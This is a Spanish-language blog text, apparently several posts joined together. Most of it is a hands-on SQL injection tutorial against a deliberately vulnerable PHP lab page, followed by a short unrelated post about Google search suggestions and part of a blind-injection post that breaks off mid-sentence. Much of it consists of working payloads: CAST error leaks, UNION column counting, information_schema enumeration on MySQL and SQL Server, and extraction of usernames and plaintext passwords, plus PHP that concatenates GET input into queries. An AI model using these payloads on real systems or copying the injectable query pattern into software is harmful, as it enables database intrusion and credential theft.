<HEAD><TITLE>Testeando SQLi</TITLE></HEAD>
<BODY>
<?php
$db = mysql_connect('localhost', 'tester', '123456'); //mssql_connect('192.168.1.10', 'tester', '123456'); //en mi caso 192.168.1.10 es la máquina con SQL Server
mysql_select_db('test', $db); //mssql_select_db('test', $db);
if(isset($_GET['id']))
{
$query = "SELECT * FROM content WHERE id='".$_GET['id']."'";
}
else
{
$query = "SELECT * FROM content WHERE id='3'";
}

print "query: ".$query."<HR>";
print '<A HREF="?id=3">News</A> | <A HREF="?id=1">SQL Test</A> | <A HREF="?id=2">Links</A><BR><BR>';

if($result = mysql_query($query)) //if($result = mssql_query($query))
{
$row = mysql_fetch_array($result); //$row = mssql_fetch_array($result);
print("<B>".$row['title']."</B><BR><BR>");
print($row['content']);
mysql_free_result($result); //mssql_free_result($result);
}
?>
</BODY>
</HTML>
El código me retornará el contenido de la página si la consulta es correcta, y retornará el contenido cuyo id es 3 (News), en caso de que la consulta falle. La consulta ejecutada sobre la base de datos es "SELECT * FROM content WHERE id='<el-id>'"
Nuevamente, la base de datos se llama test y contiene la tabla t_content:
+----+----------+------------------------------+
| id | title | content |
+----+----------+------------------------------+
| 1 | SQL Test | vas a aprender mucho SQLi |
| 2 | Links | seccion con links |
| 3 | News | hoy aprendes inyeccion SQL |
+----+----------+------------------------------+
y la tabla t_user:
+----+---------------+--------------------------------+---------------+-------------+
| id | name | email | username | pass |
+----+---------------+--------------------------------+---------------+-------------+
| 1 | demasiadovivo | demasiadovivo@misuperemail.com | demasiadovivo | pass123 |
| 2 | emilio | emilio@otromailguay.com | emilio | linuxrulez |
| 3 | Javi | javiz@misuperemail.com | javiz | javsecurity |
+----+---------------+--------------------------------+---------------+-------------+

Inyecciones CAST y UNION

Al igual que con inyecciones blind, se utilizan básicamente dos formas de obtener datos a través de inyecciones en un consulta. Por un lado podemos utilizar expresiones booleanas con AND, o utilizar el operador UNION.
Una de las técnicas con expresiones booleanas la vimos en el artículo de inyección blind, donde tomamos substrings y convertimos caracteres a ascii para ir comparando de a letras... algo bastante tedioso. Por suerte, en SQL Server, si contamos con los errores causados en el servidor, podemos aprovechar los AND en conjunto con la función CAST. Si utilizamos CAST para intentar convertir un tipo de datos string a un entero, el servidor nos retornará un error conteniendo el string! Por ejemplo, una consulta del tipo 1=CAST(@@version as integer) nos dará un error conteniendo la versión del motor de base de datos. En el código de ejemplo, tal consulta quedaría:
?id=1' and 1=CAST(@@version as integer) and '1'='1
y nos mostraría algo como lo siguiente:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) ' to data type int.
El "and '1'='1" del final es para escapar la comilla que sobra en la consulta, porque sino, es posible que el DBMS retorne que sobra una comilla en lugar del error que buscamos. Otra forma de escapar este problema es utilizando comentarios luego de la consulta, como por ejemplo:
?id=1' and 1=cast(@@version as integer) --
En MySQL la técnica no sirve porque al intentar hacer un cast incorrecto, el servidor simplemente retorna 0, es decir, no origina un error.
Se puede realizar cualquier ataque realizable con UNION utilizando CAST de esta manera. Por ejemplo, pueden obtener los nombres de usuario de la tabla t_user de la siguiente manera:
?id=1' and 1=cast((select username from t_user where username <'e') as integer) and '1'='1
Es necesario que la consulta retorne un solo string, por ello utilicé la expresión "where username<'e'". Más adelante les mostraré una técnica para limitar la cantidad de filas retornadas.

La opción más comúnmente utilizada y "estándar" es realizar una unión. Ya he explicado en otros posts cómo funciona esta técnica, pero veamos un pequeño repaso. UNION nos permite unir los resultados de una consulta con los resultados de otra consulta, siempre y cuando ambas consultas tengan como resultado la misma cantidad de columnas. Si utilizamos sólo UNION, las columnas a unir deben ser del mismo tipo, pero si en cambio aprovechamos UNION ALL, podemos utilizar distintos tipos. Como veremos en la siguiente sección, existen distintas técnicas para obtener la cantidad de columnas de la consulta original (la que utiliza la página para mostrar resultados) para así poder agregar nuestra consulta y obtener datos.
De aquí en más la explicación se centrará en ataques con UNION, pero tengan en cuenta que haciendo algunos cambios, se pueden realizar las mismas consultas utilizando CAST.


Número de columnas de la consulta a inyectar

Como vimos en la sección anterior, si utilizamos UNION para obtener datos a partir de una consulta inyectable, necesitamos primero determinar la cantidad de columnas seleccionadas y el nombre de las columnas de las tablas que queremos obtener.
Para determinar el número de columnas seleccionadas podemos utilizar varias técnicas, entre las cuales están el mismo "UNION", "ORDER BY" y "HAVING and GROUP BY". Veamos cada una por separado:
- UNION: una consulta que utilice UNION retornará un error si la cantidad de columnas no es la misma en ambas consultas, por lo cual podemos probar colocando distinta cantidad de columnas hasta que la consulta no de más error. Lo lógico sería arrancar con una columna, luego dos, luego tres, etc. Para lograr esto, podemos utilizar la consulta SELECT en conjunto con strings separados por coma para delimitar la columna. Por ejemplo, si comenzamos con una columna y vamos aumentando, quedaría así:
?id=1' union select '1 //da error porque la consulta original tiene 3 columnas
?id=1' union select '1','2 //idem
?id=1' union select '1','2','3 //OK!
como ven, el último parámetro lo dejo sin comilla final porque la consulta original la va a agregar. Siempre utilicen comillas porque si utilizan números puede que la consulta falle. Los DBMS aceptan un número entre comillas en el caso de un entero, pero no aceptan enteros donde van strings. Como de antemano no sabemos qué columna es un entero y cuál es un string, lo mejor es utilizar siempre strings.
Si observan el resultado en la página, podrán ver que se muestran solo la 2da y la 3er columna, lo cual quiere decir que, si bien se seleccionan 3, puedo ver sólo dos de ellas por pantalla.

- ORDER BY: el caso de ORDER BY es muy similar a UNION. ORDER BY permite ordenar los resultados de una consulta en base a una columna. ORDER BY toma como parámetro el número de la columna que utilizamos para ordenar los resultados, si utilizamos un número de columna mayor a la cantidad de columnas retornadas por la consulta, dará error. Por ello, lo que hacemos es ir probando con el valor 1, luego 2, luego 3, etc, hasta que la consulta de error:
?id=1' order by 1 -- 1 //consulta OK porque son 3 columnas
?id=1' order by 2 -- 1 //idem
?id=1' order by 3 -- 1 //idem
?id=1' order by 4 -- 1 //error! es decir, encontramos que son 3 columnas
tal vez se pregunten por qué luego de los caracteres de comentario ingresé un 1? bueno, fue algo que descubrí luego de obtener varios errores. Resulta que MySQL no toma los caracteres de comentario como tales, a menos que, o bien no tengan nada a continuación, o bien luego les siga un espacio. En la consulta anterior, si no ingresamos un espacio y luego otro caracter, dará error. Intenten ejecutar directamente en el DBMS la misma consulta y verán el resultado.

- HAVING 1=1 and GROUP BY: posiblemente esta sea la opción más interesante de las tres, en caso de contar con SQL Server. HAVING se comporta como la cláusula WHERE, pero permite aplicarla a grupos generados por GROUP BY. Sin GROUP BY, se comporta como un WHERE. GROUP BY se utiliza con funciones de agregado como SUM para agrupar resultados en base a una cierta columna. Una buena explicación de HAVING la pueden leer en SQL Tutorial - SQL HAVING, y la de GROUP BY en SQL Tutorial - SQL GROUP BY.
En SQL Server no se aplica exactamente el estándar y si utilizan HAVING sin GROUP BY o una función de agregado, el servidor retornará un error como el siguiente:
Column 't_content.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Esto nos da la posibilidad de obtener tanto la cantidad de columnas de la consulta como el nombre de cada columna. Como ven en el error anterior, el nombre de la columna queda explícito en el mensaje. Una vez que obtenemos el nombre de una columna, podemos utilizar GROUP BY de esa columna y así en el siguiente error saltará el nombre de la segunda columna. De esta forma, obtendremos todas las columnas de la consulta:
?id=1' having 1=1 -- 1 //nos retorna "Column 't_content.id' is invalid..." es decir, obtenemos el nombre de la primer columna seleccionada
?id=1' group by id having 1=1 -- 1 //nos retorna "Column 't_content.title' is invalid...", con lo que obtenemos el nombre de la segunda columna
?id=1' group by id,title having 1=1 -- 1 //nos retorna "Column 't_content.content' is invalid...", y ya sabemos el nombre de la tercer columna
?id=1' group by id,title,content having 1=1 -- 1 //no obtenemos error, lo cual quiere decir que ya obtuvimos todas las columnas de la consulta, y que la cantidad de columnas es 3.

Nombres de tablas

Ya mostré cómo obtener los nombres de las tablas en MySQL utilizando inyección blind y las funciones substring, upper y ascii. Como repaso, les comento que todas las tablas de todas las bases de datos se almacenan en la base de datos information_schema, en la tabla tables. La columna que nos interesa de esta tabla es table_name y la podemos obtener ejecutando:
SELECT table_name FROM information_schema.tables
lo cual traducido a una inyección en nuestra página de ejemplo sería:
?id=-1' union all select '1',table_name,'3' from information_schema.tables limit 0,1 -- 1
?id=-1' union all select '1',table_name,'3' from information_schema.tables limit 1,1 -- 1
...
?id=-1' union all select table_name,'1','1' from information_schema.tables limit n,1 -- 1
Si prestaron atención, verán varias cosas interesantes en la consulta anterior. Por un lado utilicé el id=-1 que sé que no retornará ningún contenido, y así puedo ver la fila obtenida en la unión. Si no hiciera esto, como la página toma sólo la primer fila retornada, no podría ver el resultado de mi consulta (que quedaría segunda). Esto hace que deba consultar las filas de a una, y me lleva a utilizar el operador LIMIT. En la primer consulta comienzo con offset 0 y obtengo el primer nombre de tabla, en la segunda comienzo con offset 1, y obtengo el segundo, y de esta forma continúo hasta obtener todas las tablas. Por último verán que agregué un '1' al principio y un '3' al final para completar la cantidad de campos necesarios en la unión. No puedo utilizar el primer campo porque la página no me lo muestra, así que utilizo el segundo (también podría haber utilizado el tercero).

Es importante destacar que si el usuario con el que se ejecuta la consulta posee permisos en varias bases de datos, les mostrará el nombre de todas las tablas a las que tenga acceso. Por ello, es necesario restringir la búsqueda a la base de datos que nos interesa. El nombre de la base de datos actual se puede obtener ejecutando la función database():
SELECT database()
que se traduce a la siguiente inyección:
?id=-1' union all select '1',database(),user() -- 1 //me retorna test, y tester@localhost
Como es gratis, ademas de obtener el nombre de la base de datos, aproveché para obtener también el nombre del usuario.
Ya sabiendo que el nombre de la base de datos es test, puedo customizar la consulta anterior para que sólo me retorne las tablas de esta base de datos de la siguiente forma:
SELECT table_name FROM information_schema.tables WHERE table_schema='test'
traducido a:
?id=-1' union all select '1',table_name,'3' from information_schema.tables where table_schema='test' limit 0,1 -- 1
?id=-1' union all select '1',table_name,'3' from information_schema.tables where table_schema='test' limit 1,1 -- 1
...
?id=-1' union all select '1',table_name,'3' from information_schema.tables where table_schema='test' limit n,1 -- 1
Si desean conocer la cantidad de tablas antes de realizar las consultas anteriores, pueden hacerlo con la siguiente consulta:
SELECT count(table_name) FROM information_schema.tables WHERE table_schema='test'
es decir:
?id=-1' union all select '1',count(table_name),'3' from information_schema.tables where table_schema='test
En SQL Server se puede hacer algo muy similar, solamente cambiando algunas partes de la consulta. Por un lado el nombre de las tablas se encuentran en la vista llamada INFORMATION_SCHEMA. Esto se debe a que la base de datos information_schema es un estandar ISO y por ello SQL Server la incluye como vista. Desde nuestro punto de vista da lo mismo si es una vista o una base de datos porque gracias al estándar se acceden de igual forma. Esto es, las consultas anteriores valdrán también para SQL Server. La única diferencia es que existe una vista INFORMATION_SCHEMA por cada base de datos, con lo cual, no necesitamos conocer el nombre de la base de datos porque los resultados retornados serán solamente tablas de la base de datos actual.
Algo que sí debemos cambiar en las consultas anteriores es el uso de limit. Este operador presente en MySQL, no existe en SQL Server y es necesario construir consultas bastante más complicadas... parece increíble que no tengan una función similar a limit...
La siguiente consulta la armé a partir del artículo Sql server con consultas Limit de mySQL y permite simular la función de limit:
SELECT * FROM (SELECT *, ROW_NUMBER() OVER (ORDER BY table_name) AS row FROM information_schema.tables) AS temp where row>0 and row<=1;
básicamente, la consulta genera una nueva columna con el número de la posición de la fila y luego filtra resultados en base a ese número. Como ven, es bastante más sucio que hacer un lindo limit... gracias MS por hacer nuestras vidas miserables...
La consulta anterior se traduciría a lo siguiente:
?id=-1' union all select '1',table_name,'3' from (select *,ROW_NUMBER() over (order by table_name) as row from information_schema.tables) as temp where row>0 and row<=1 --
?id=-1' union all select '1',table_name,'3' from (select *,ROW_NUMBER() over (order by table_name) as row from information_schema.tables) as temp where row>1 and row<=2 --
...
?id=-1' union all select '1',table_name,'3' from (select *,ROW_NUMBER() over (order by table_name) as row from information_schema.tables) as temp where row>n-1 and row<=n --

Nombres de columnas

Una vez que tenemos los nombres de las tablas que nos interesan, conseguir los nombres de las columnas es un proceso muy similar. La consulta es casi igual, con la salvedad que ahora buscamos el campo column_name de la tabla columns de la base de datos information_schema. Suponiendo que buscamos los campos de la tabla t_user, la consulta sería como la siguiente:
SELECT column_name FROM information_schema.columns WHERE table_schema='test' and table_name='t_user'
que en inyección MySQL se traduce a:
?id=-1' union all select '1',column_name,'3' from information_schema.columns where table_schema='test' and table_name='t_user' limit 0,1 -- 1
?id=-1' union all select '1',column_name,'3' from information_schema.columns where table_schema='test' and table_name='t_user' limit 1,1 -- 1
...
?id=-1' union all select '1',column_name,'3' from information_schema.columns where table_schema='test' and table_name='t_user' limit n,1 -- 1
y en el caso de SQL Server, se traduce a:
?id=-1' union all select '1',column_name,'3' from (select *,ROW_NUMBER() over (order by column_name) as row from information_schema.columns where table_name='t_user') as temp where row>0 and row<=1 --
?id=-1' union all select '1',column_name,'3' from (select *,ROW_NUMBER() over (order by column_name) as row from information_schema.columns where table_name='t_user') as temp where row>1 and row<=2 --
...
?id=-1' union all select '1',column_name,'3' from (select *,ROW_NUMBER() over (order by column_name) as row from information_schema.columns where table_name='t_user') as temp where row>n-1 and row<=n --

Todo listo, a cocinar!

Ahora que ya contamos con los nombres de los campos y de las tablas que queremos, ya podemos obtener cualquier información que deseemos. En este caso de ejemplo resultan interesante los datos de usuario y password, por lo cual armaré las consultas teniendo este objetivo. Como podemos obtener de a dos datos a la vez, viene justo para sacar cada par usuario/password de a una consulta.
Una vez más, veamos cómo es la consulta real y cómo se traduce a la inyección:
SELECT username,pass FROM t_user
en MySQL:
?id=-1' union all select '1',username,pass from t_user limit 0,1 -- 1
?id=-1' union all select '1',username,pass from t_user limit 1,1 -- 1
...
?id=-1' union all select '1',username,pass from t_user limit n,1 -- 1
en SQL Server:
?id=-1' union all select '1',username,pass from (select *,ROW_NUMBER() over (order by username) as row from t_user) as temp where row>0 and row<=1 --
?id=-1' union all select '1',username,pass from (select *,ROW_NUMBER() over (order by username) as row from t_user) as temp where row>1 and row<=2 --
...
?id=-1' union all select '1',username,pass from (select *,ROW_NUMBER() over (order by username) as row from t_user) as temp where row>n-1 and row<=n --
De la misma forma se puede obtener cualquier registro de cualquier tabla. Ya tenemos el poder! =)


Reflexión final

Como siempre digo en el trabajo, lo difícil no es el ataque, sino encontrar dónde atacar. SQL Injection no es la excepción, y muestra que la parte difícil está en encontrar una variable inyectable, una vez que tenemos esto, es cuestión de utilizar la técnica que mejor se adapte para obtener los datos.
Existen algunos trucos para bypassear algunos controles de programación, que podrían dificultar la tarea. En otro artículo mostraré algunas de las técnicas más utilizadas para evitar estos controles.
Las consultas que mostré en el artículo se pueden optimizar de un par de formas, iba a ponerlas en este artículo pero ya quedó demasiado extenso, así que queda para el próximo. Ya tengo escrita un buen pedazo de esa parte, así que no debería tomarme más de unos días terminarlo.
Por último, como pudieron observar en este artículo, SQL Server permite más facilidades de inyección que MySQL. Su forma tan verbosa de mostrar errores ayuda mucho al atacante, y además provee otros mecanismos que disminuyen el trabajo. Además, algo que no mostré en este artículo es que en SQL Server es posible inyectar inserciones, borrar registros, tablas, ejecutar comandos en el servidor, entre otras cosas, porque permite concatenar acciones en una sola consulta del programa. MySQL no permite esto y por ello lo que se puede lograr es bastante más limitado, a menos que se utilicen técnicas más agresivas.
En fin, espero que luego de leer esto tengan bastante idea de lo que se puede lograr con SQLi y lo simple que es lograrlo.
Google sugiere...
Desde que Google incorporó las sugerencias en su buscador he visto cosas de lo más extrañas. Esperar las sugerencias cuando estoy escribiendo las palabras clave de mi búsqueda es casi una forma de diversión. Para aquellos que no comprenden cómo funciona, Google guarda las búsquedas realizadas por todas las personas según su popularidad. Por lo tanto las sugerencias son las búsquedas similares que realizaron la mayoría de las personas. Luego Google utiliza la frase que escribimos en el cuadro de búsqueda como índice de una (gran) tabla de sugerencias.
Por qué me resulta divertido? Porque es divertido ver qué es lo que busca la mayoría de la gente. Si no me creen, prueben ingresando algunas de las siguientes frases y esperen las sugerencias de Google (sin presionar el botón "Buscar"). Que lo disfruten!

"como hacer para"



"de quien esta"



"mi mujer no"



"como se puede"



"que hago si"



"como hago para que"



Busquen más sugerencias divertidas y comenten! Gracias.
El arte de la inyección blind (MySQL)
Pasaron ya un par de meses desde que publiqué la primer entrega sobre SQL Injection (ver Inyección mortal: SQL Injection), donde introduje el SQLi y distintos tipos de ataque, y prometí continuar con artículos más avanzados. Para los que ya no creían que esto fuera a suceder, aquí esta! =D

Si bien la idea inicial era continuar mostrando ataques no-blind, es decir, ataques más fáciles de realizar debido a que el servidor nos retorna los errores de la base de datos, decidí cambiar el rumbo luego de realizar algunas pruebas blind sobre una página.


Refrescando la memoria...

El ataque Blind SQL Injection se realiza cuando la página/aplicación que deseamos atacar no retorna ningún error de base de datos. Es decir, si ejecutamos una consulta y ésta es incorrecta, el sistema no nos devolverá el error. De esta forma, realizar ataques es mucho más complejo porque tenemos que utilizar mucha imaginación y jugar con las respuestas del servidor.

La técnica utilizada en este tipo de ataques es realizar consultas del tipo true/false. El atacante primero investiga cuál es la respuesta que da el servidor ante una consulta conocida por dar siempre true (por ejemplo "or 1=1" o "and 1=1"), y cuál es la respuesta a una consulta que siempre sea false (por ejemplo "and 1=0"). Esto da la pauta de si una página es vulnerable a SQLi o no. Si una página retorna distintos valores al consultar por "and 1=1" y "and 1=0", quiere decir que detectamos una inyección.


Dos técnicas de inyección blind

La diferencia entre las respuestas a una consulta true y una false se puede observar de dos formas, una más difícil de detectar que la otra.

Si estamos con suerte, el contenido de la página será distinto en caso de consultas true y consultas false. Por ejemplo, supongamos que una página trae su contenido basado en el valor de la variable id de un parámetro GET. Si id=1 trae el contenido cuyo id es 1, y si id=3, trae el contenido cuyo id es 3. Ahora, si realizamos la consulta "id=1 and 1=1", y la página nos retorna el contenido cuyo id es 1, pero si consultamos por "id=1 and 1=0" no nos retorna ningún contenido, o bien nos retorna una página default (método muy utilizado para manejar excepciones).

En el caso difícil, el contenido que nos retorna la página es siempre igual, pero existe una diferencia en los tiempos de respuesta. En general una consulta false tardará un poco más que una consulta true, porque deberá realizar algún trabajo extra para obtener el valor del contenido a mostrar (aunque esto puede resultar imperceptible). La técnica más utilizada en este tipo de casos es agregar un sleep de cierta cantidad de segundos cuando una consulta es true o false y medir las respuestas. Este tipo de ataques es mucho más difícil y muy susceptible al tráfico en la red y el server. El gran problema es cómo medir ese tiempo y cuáles son los umbrales para detectar que las consultas retornan diferentes tiempos.

En este artículo me centraré en ataques del primer tipo, donde consultas true/false retornan diferentes contenidos y dejaré el segundo tipo para otro artículo.


Código para jugar

Como de costumbre, creo que la mejor forma de explicar estas cosas es utilizando un ejemplo. En este caso armé un ejemplo que resume el funcionamiento de la mayoría de las páginas. Un sistema que tiene un menú y trae el título y el contenido de la página basándose en la variable id en la URL. Una vez más, utilizo php como lenguaje base por ser el que más conozco y en el que tengo más experiencia. Igualmente el funcionamiento es similar en todos los lenguajes.

<HTML>
<HEAD><TITLE>Testeando SQLi</TITLE></HEAD>
<BODY>
<?php
$db = mysql_connect('localhost', 'tester', '123456');
mysql_select_db('test', $db);
if(isset($_GET['id']))
{
$query = "SELECT * FROM content WHERE id=".$_GET['id'];
}
else
{
$query = "SELECT * FROM content WHERE id='3'";
}

print '<A HREF="?id=3">News</A> | <A HREF="?id=1">SQL Test</A> | <A HREF="?id=2">Links</A><BR><BR>';

if($result = @mysql_query($query))
$row = mysql_fetch_array($result);
elseif($result = @mysql_query("SELECT * FROM content WHERE id='3'"))
$row = mysql_fetch_array($result);

if(isset($row))
{
print("<B>".$row['title']."</B><BR><BR>");
print($row['content']);
}
?>
</BODY>
</HTML>

Como pueden observar, el código me retornará el contenido de la página si la consulta es correcta, y retornará el contenido cuyo id es 3 (News), en caso de que la consulta falle. Utilizo el @ delante de la función mysql_query para que no dispare una excepción en caso de consultas incorrectas.
La consulta ejecutada sobre la base de datos es "SELECT * FROM content WHERE id='<el-id>'".

Nombré a la base de datos "test", y al usuario de base de datos "tester".
La tabla en la base de datos que contiene el contenido de la página se llama "content" y tiene los siguientes registros:
+----+----------+------------------------------+
| id | title | content |
+----+----------+------------------------------+
| 1 | SQL Test | vas a aprender mucho SQLi |
| 2 | Links | seccion con links |
| 3 | News | hoy aprendes inyeccion blind |
+----+----------+------------------------------+
donde tengo id, titulo del contenido y el contenido en si.
Como siempre, debe haber algo más interesante que la tabla de contenido público para obtener, así que los ataques se dirigirán a la tabla "user", que contiene datos de usuarios:
+----+---------------+--------------------------------+---------------+-------------+
| id | name | email | user | pass |
+----+---------------+--------------------------------+---------------+-------------+
| 1 | demasiadovivo | demasiadovivo@misuperemail.com | demasiadovivo | pass123 |
| 2 | emilio | emilio@otromailguay.com | emilio | linuxrulez |
| 3 | Javi | javiz@misuperemail.com | javiz | javsecurity |
+----+---------------+--------------------------------+---------------+-------------+
ustedes dirán "passwords sin hashear?" oh yeah!, en los ataques que he realizado muchas veces me encontré con passwords sin hashear, así que me pareció interesan hacerlo así.


Obteniendo datos de la base de datos

Lo primero que tenemos que hacer en un ataque de este tipo es encontrar una variable que sea inyectable. Muchas veces la variable salta a la vista luego de navegar un poco por la página, pero en otras ocasiones no es tan simple y hay que buscar un poco. Como les comenté, voy a asumir que la página atacada muestra diferentes contenidos dependiendo de si una consulta devuelve un valor asociado a la consulta(consulta true), o retorna un valor default (consulta false). En el ejemplo que planteo, la vulnerabilidad es bastante visible dado que un id concatenado con una consulta true devuelve un contenido asociado al id, y uno concatenado con una consulta false, devuelve el contenido asociado al id default, es decir el id 3 que contiene la sección "News".
Lo que necesitamos hacer es utilizar un id diferente a 3 (utilizaremos id=1), concatenado a la consulta que deseamos inyectar. Si el contenido retornado es el del id 3 (News), la consulta falló, pero si el contenido está asociado al id de prueba 1 (SQL Test), la consulta fue satisfactoria.

Una vez que determinamos la variable a inyectar, es cuestión de paciencia y dedicación. En este punto uno puede optar por dos caminos:
- intentar obtener datos utilizando nombres clásicos de tablas y columnas como por ejemplo "usuario", "user", "username", "nick", "password", "email", "e-mail", "id", etc. Este camino puede ahorrarnos tiempo de investigación si acertamos en los nombres a utilizar.
- obtener el nombre de la base de datos, luego el de las tablas y por último el de las columnas de las tablas. Este es realmente un trabajo de hormiga, pero acá vamos a lo seguro, obtenemos dato por dato hasta lograr el objetivo.

Mi opción es primero intentar con nombres de tablas y campos que creemos pueden existir. Puede ser que desperdiciemos tiempo en vano, pero también puede ser que nos ahorre horas. Cuando se nos acaban las ideas, vamos por la segunda opción y obtenemos dato por dato.
Vale mencionar aquí que existen varias herramientas que nos permiten automatizar el proceso de obtener dato por dato, por lo cual podríamos ir directamente a la segunda opción. Pero como mi idea es explicar el arte de la inyección manual, explicaré como funcionan ambas formas.


Funciones MySQL que nos darán una mano

Antes de poder seguir, me veo obligado a explicar las funciones que nos servirán para obtener los datos que deseamos:

- database() devuelve el nombre de la base de datos actualmente seleccionada, o NULL si no hay ninguna seleccionada. Ejemplo: "SELECT DATABASE()" en el código anterior nos devolverá "test".

- user() retorna el nombre de usuario y host actual, es decir, el usuario que estamos usando para realizar las consultas. Ejemplo: "SELECT USER()" en el código anterior nos devolverá "tester".

- count(*) cuenta la cantidad de registros en una tabla. Ejemplo: "SELECT COUNT(*) FROM user" nos devuelve la cantidad de registros en la tabla user, es decir 3.

- length(str) retorna el largo de un string en bytes. Ejemplo: "SELECT LENGTH('ITFreek')", nos devuelve 7.

- substring(str, pos, len) dado un string str nos devuelve el substring contenido a partir de la posición pos, y con un largo de len caracteres. Ejemplo: "SELECT SUBSTRING('ITFreek', 3, 5)" retorna 'Freek'.

- lower(str) retorna el string pasado por parámetro utilizando sólo minúsculas. Ejemplo: "SELECT LOWER('ITFreek')" retorna 'itfreek'.

- upper(str) la contrapartida de lower, es decir, nos devuelve todos los caracteres del string en mayúsculas. Ejemplo: "SELECT UPPER('ITFreek')" retorna ITFREEK. En la práctica solo utilizaremos lower o upper, no los dos.

- ascii(str) retorna valor numérico ascii (en hexa) del caracter en la primer posición del string str. Ejemplo: "SELECT ASCII('ITFreek')" retorna 73 (ascii de la letra I). A continuación les dejo la tabla ascii tomada de http://www.lookuptables.com



Veamos si existen tablas con nombres triviales

Como les comenté, primero investigaré si puedo acertar el nombre de las tablas que me interesan, y así ahorrarme el tiempo de obtener los nombres de a una letra por vez (como veremos más adelante).
Supongamos que imagino que la tabla de usuarios se llama usuarios, la forma que utilizaremos para verificar esto es utilizando la función count. De la explicación anterior saben que count cuenta la cantidad de registros de la tabla, así que si una tabla existe, debería retornar 0 o un valor mayor a 0. En cambio, si no existe, retornará un error.
Esto traducido a una inyección blind en el código que uso como ejemplo, debe ser interpretado de la siguiente forma:
- si la tabla existe, la página retornará de forma normal, mostrando el contenido asociado al id 1 (SQL Test);
- si la tabla no existe, la página retornará el contenido asociado al id 3 (News).

La consulta a nuestra página de ejemplo será la siguiente (omitiré la dirección de la página para poder visualizar solamente la variable inyectada):
?id=1 and (select count(*) from usuarios)
traduciéndose en la consulta: SELECT * FROM content WHERE id=1 and (select count(*) from usuarios).

Si la tabla usuarios existe, la página nos mostrará el contenido de la sección cuyo id es 1. Pero si no existe la consulta dará error, y nos retornará el contenido de News. Como la tabla usuarios no existe, obtendremos el contenido de News y entonces sabremos que estamos equivocados en el nombre.

Si ahora se nos ocurre que el nombre es "user", modificaremos la consulta anterior para que quede de la siguiente forma:
?id=1 and (select count(*) from user)
traduciéndose en la consulta: SELECT * FROM content WHERE id=1 and (select count(*) from user).
Como la tabla user existe, count retornará un valor. En MySQL, al igual que en muchos lenguajes, un valor distinto de 0 significa true, por lo que si count retorna un valor mayor a cero, la consulta (select count(*) from user) será true. Claro está que si la tabla está vacía, count retornará cero, obteniendo una consulta false... pero igualmente si la tabla está vacía no nos interesa, así que da igual si existe o no =)

Una vez que tenemos el nombre de la/s tabla/s que nos interesa/n, necesitamos obtener los campos para poder continuar. Aplicando la misma lógica anterior, podemos hacer uso de count para saber si un campo existe. Nuevamente intentando averiguar el nombre de los campos a partir de nombres triviales, podríamos imaginar que existe un campo llamado id.
La consulta que utilizabamos tendrá que ser modificada un poco. Ahora para saber si existe un campo, contaremos la cantidad de registros en el campo <nombre a probar> de la tabla user. Para averiguar si el campo id existe, consultamos lo siguiente:
?id=1 and (select count(id) from user)
que se traduce a: SELECT * FROM content WHERE id=1 and (select count(id) from user).
Como el campo id existe, la consulta es satisfactoria y obtenemos nuevamente el contenido cuyo id es 1. Si probamos con nombres de campos que no existen, sucedería lo que comenté antes, count da error y la página retorna la sección News.

Como se imaginarán, no siempre tendremos tanta suerte de encontrar nombres triviales, así que usen su imaginación, y traten de pensar como el programador del site. Muchas veces las tablas pueden comenzar con el nombre de la página. Si la página se llama foro.com, tal vez la tabla de usuarios se llame foro_user, en lugar de solo user. Las tablas de usuarios suelen tener siempre los mismos campos, es decir, id, email, username, password, real name, etc.
Igualmente si no se les ocurre como se puede llamar la tabla que desean, o los campos de la tabla, no se desesperen, existe un camino alternativo que explicaré a continuación.


Obtener palabras de a letras

Antes de continuar la explicación, necesitamos aprender a obtener palabras de a una letra por vez. Como ya saben, solo contamos con consultas true/false por lo que para obtener palabras completas debemos hacer consultas del estilo "la letra en la posición i es ésta?", si es true, sabemos que esa es la letra indicada, si es false, debemos seguir buscando. Para no hacer consultas de más, primero consultamos la longitud de las palabras con la función length(), con preguntas del estilo "la longitud es mayor a i?, es menor? es igual?. Por ejemplo, si deseamos saber cuántos caracteres tiene el nombre de usuario con id=1, las consultas serán del estilo:
SELECT length(name) FROM user WHERE id=1
que utilizando blind se traduce a:
?id=1 and (select length(name) from user where id=1)<8 //dará false, porque el name demasiadovivo tiene 13 caracteres
?id=1 and (select length(name) from user where id=1)=8 //idem anterior
?id=1 and (select length(name) from user where id=1)>10 //true
?id=1 and (select length(name) from user where id=1)>14 //false
?id=1 and (select length(name) from user where id=1)=13 //eureka!
Teniendo la longitud de la palabra buscada (13), procedemos a averiguar cuáles son los caracteres que la componen. Para ello nos apoyamos en la función substring(), con la cual obtenemos substrings de sólo 1 caracter y averiguamos cuál es. Además podemos utilizar la función upper() para restringir el rango de búsqueda a sólo mayúsculas (de otra forma tendríamos que preguntar por mayúsculas y minúsculas). Otra mejora que disminuye el número de consultas es hacer una búsqueda binaria, es decir, preguntamos si el caracter pertenece a la primer mitad del abecedario (A-M) o la segunda mitad (N-Z). De la mitad seleccionada hacemos lo mismo, y así repetimos hasta encontrar el caracter. En este caso las consultas a armar son del estilo:
SELECT upper(substring(name, 1, 1)) FROM user WHERE id=1
que en términos blind y búsqueda binaria se traduce a:
?id=1 and (select upper(substring(name, 1, 1)) from user where id=1)>'M' //partimos preguntando si es mayor a M
?id=1 and (select upper(substring(name, 1, 1)) from user where id=1)>'G' //como es menor, preguntamos entonces si es mayor a G (la mitad entre A-M)
?id=1 and (select upper(substring(name, 1, 1)) from user where id=1)>'C' //idem anterior, ahora utilizando C
?id=1 and (select upper(substring(name, 1, 1)) from user where id=1)='C'
?id=1 and (select upper(substring(name, 1, 1)) from user where id=1)>'D' //si es mayor a C, pero no mayor a D, y no es igual a C, entonces es D. Ahora veamos si es D o d.
?id=1 and (select substring(name, 1, 1) from user where id=1)='D' //no es D, así que es d.
Una vez que terminamos con la primer letra, seguimos con la segunda. En la consulta anterior cambiaremos el rango de la función substring a substring(name, 2, 1), es decir, le indicamos que arranque desde la posición 2. Lo mismo para los otros 11 caracteres. Claro que la búsqueda variará un poco si el nombre incluye números u otros caracteres. Para estos casos, y para los casos donde no podemos utilizar comillas, es más útil utilizar la función ascii(). Como expliqué anteriormente, ascii() devuelve el valor ascii (número) del caracter. Las consultas anteriores pasarían a ser de la siguiente forma:
